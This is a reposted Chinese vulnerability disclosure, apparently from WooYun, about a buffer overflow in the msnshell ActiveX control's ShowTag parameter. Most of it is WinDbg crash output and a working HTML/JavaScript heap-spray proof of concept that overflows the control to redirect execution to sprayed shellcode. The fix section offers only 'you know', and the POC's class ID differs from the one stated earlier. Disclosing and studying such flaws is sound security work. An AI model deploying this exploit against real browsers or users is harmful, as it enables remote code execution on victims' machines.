最新消息:

msnshell远程代码执行漏洞

未分类 admin 2958浏览 0评论

作者:疯狗
来源:WooYun

简要描述:
msnshell是国内一款多功能的msn辅助工具,有着方便而强大聊天加密功能,使其用户群非常广泛,但是该应用有一些已存在多年的远程代码执行漏洞。

详细说明:
问题出在msnshell的activex控件上
ClassID : 20FD1EBC-A607-4C18-9F18-0233EF4D7234
File : MSNShellSDK.dll

ShowTag以及其他部分参数对数据长度的过滤不足,当长度为540字节左右的时候造成缓冲区溢出,控制程序流程。

PS:不只是这一个参数有漏洞!

7C923297    FF75 14         push    dword ptr [ebp+14]

7C92329A    FF75 10         push    dword ptr [ebp+10]

7C92329D    FF75 0C         push    dword ptr [ebp+C]

7C9232A0    FF75 08         push    dword ptr [ebp+8]

7C9232A3    8B4D 18         mov     ecx, dword ptr [ebp+18]

7C9232A6    FFD1            call    ecx   <-- exploit it!

7C9232A8    64:8B25 0000000>mov     esp, dword ptr fs:[0]

7C9232AF    64:8F05 0000000>pop     dword ptr fs:[0]

7C9232B6    8BE5            mov     esp, ebp

7C9232B8    5D              pop     ebp

7C9232B9    C2 1400         retn    14

eax=7ffd3000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005

eip=7c92120e esp=0118ffcc ebp=0118fff4 iopl=0         nv up ei pl zr na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:W

INDOWSsystem32ntdll.dll -

ntdll!DbgBreakPoint:

7c92120e cc               int     3

0:007> g

url:ModLoad: 753b0000 75421000   C:WINDOWSsystem32mshtmled.dll

url:ModLoad: 76320000 76367000   C:WINDOWSsystem32comdlg32.dll

ModLoad: 76960000 76984000   C:WINDOWSsystem32ntshrui.dll

ModLoad: 76af0000 76b01000   C:WINDOWSsystem32ATL.DLL

ModLoad: 759d0000 75a7f000   C:WINDOWSsystem32USERENV.dll

ModLoad: 76950000 76958000   C:WINDOWSsystem32LINKINFO.dll

url:ModLoad: 76b10000 76b3a000   C:WINDOWSsystem32WINMM.dll

ModLoad: 5dba0000 5dba8000   C:WINDOWSsystem32rdpsnd.dll

ModLoad: 762d0000 762e0000   C:WINDOWSsystem32WINSTA.dll

ModLoad: 76f20000 76f28000   C:WINDOWSsystem32Wtsapi32.dll

ModLoad: 72c80000 72c88000   C:WINDOWSsystem32msacm32.drv

ModLoad: 77bb0000 77bc5000   C:WINDOWSsystem32MSACM32.dll

ModLoad: 03070000 0311f000   C:PROGRA~1MSNShellBINMSNSHE~1.DLL

ModLoad: 5efe0000 5eff7000   C:WINDOWSsystem32olepro32.dll

ModLoad: 75bc0000 75c3d000   C:WINDOWSsystem32JScript.dll

Access violation - code c0000005 (first chance)

eax=41414141 ebx=41414141 ecx=00000000 edx=41414141 esi=0012dfc8 edi=00000000

eip=030746b0 esp=0012dea8 ebp=0012e0d4 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:P

ROGRA~1MSNShellBINMSNSHE~1.DLL -

MSNSHE~1+46b0:

030746b0 8b40fc           mov     eax,[eax-0x4]     ds:0023:4141413d=????????

0:000> g

Access violation - code c0000005 (first chance)

eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000

eip=41414141 esp=0012dad8 ebp=0012daf8 iopl=0         nv up ei pl zr na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246

41414141 ??               ???

0:000> d eip

41414141  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

41414151  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

41414161  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

41414171  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

41414181  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

41414191  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

414141a1  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

414141b1  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

0:000>

漏洞证明:
POC很简单,让程序call到0x0c0c0c0c去,使用堆喷射技术即可。

<html>

<object classid="clsid:BFB06F62-190C-42F6-91B1-3CB03560FE2D" id='target'></object>

<body>

<SCRIPT language="JavaScript">

var shellcode = unescape("you shellcode is here");

var bigblock = unescape("%u0C0C%u0C0C");

var headersize = 20;

var slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();

for (x=0; x<350; x++) memory[x] = block +shellcode;

var buffer = '';

while (buffer.length < 540 ) buffer+='x0Cx0Cx0Cx0C';

target.ShowTag(buffer);

</script>

</body>

</html>

修复方案:
you know.

转载请注明:爱开源 » msnshell远程代码执行漏洞

您必须 登录 才能发表评论!